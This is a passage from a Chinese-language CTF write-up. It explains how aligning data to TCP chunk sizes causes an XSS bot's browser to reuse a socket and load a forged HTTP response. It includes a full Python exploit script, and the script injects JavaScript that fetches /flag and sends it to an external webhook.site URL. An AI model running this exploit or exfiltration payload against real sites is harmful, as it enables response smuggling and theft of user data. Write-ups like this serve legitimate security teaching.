第二個點是利用 iter_chunks 會把資料分成 1448 bytes 的 chunks 的性質。1448 bytes 是 tcp packet 的大小上限,如果讓 ÀÀÀÀÀ.... 對齊 packet 大小,然後它會等 0.1 秒才會再發送 HTTP/1.1 200 OK... 的資料,這 0.1 秒就足以讓 Chrome 結束載入 iframe0 然後發出 iframe6 的 request 了。

下面是完整的 exploit 腳本,會自動創建需要的 board 並 submit 給 bot 做檢查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import json
import requests

html = "<script>fetch('/flag').then(r=>r.text()).then(r=>location='https://webhook.site/8fba2a85-8c62-4733-b03c-b34501d96c8f?flag='+encodeURIComponent(r))</script>"
payload = f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {len(html)}\r\n\r\n{html}"
wrapped = "À" * 724 * 8 + payload + "x" * (724 * 8 - len(payload))
assert len(wrapped) == 724 * 8 * 2
assert wrapped.encode()[len(wrapped) :].decode().startswith(payload)

garbage = "x" * 20480

resp = requests.get("http://35.224.135.84:3100/create_board", allow_redirects=False)
id = resp.headers["location"].split("/")[-1]


def add_note(id, body):
requests.post(
"http://35.224.135.84:3100/board/add_note", json={"id": id, "body": body}
)


add_note(id, wrapped)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, "pekomiko")
print(f"http://35.224.135.84:3100/board/{id}")

from pwn import remote

r = remote("35.224.135.84", 3101)
r.send(f"GET /{id}/note0\n\n")
r.recvuntil(b"\r\n\r\n")
print("sancheck", r.recvall(timeout=2).decode() == wrapped)

try:
requests.get(f"http://35.224.135.84:3100/board/{id}/report", timeout=10)
except:
pass

print("done")

裡面我把 Àpayload pad 到 724 的倍數是為了讓它對齊,而 * 8 的部份我測試過,就算不用也可以對它的 XSS Bot 有效果,然而我在本機測試的時候如果不用 * 8 就會失敗(iframe6 開了新的連線),不知道是什麼緣故。

註: 在 Chrome devtools 裡面的 Network tab 的 Name | Status | Type ... 的那個地方點右鍵可以選擇 Connection ID,就可以顯示出每個連線究竟是哪個 socket 了。Waterfall 的欄位如果有橘色出現就代表它開了新的 socket,沒有就代表重用了原本 socket。

補充: PlaidCTF 2021 的官方 Carmen Sandiego Solution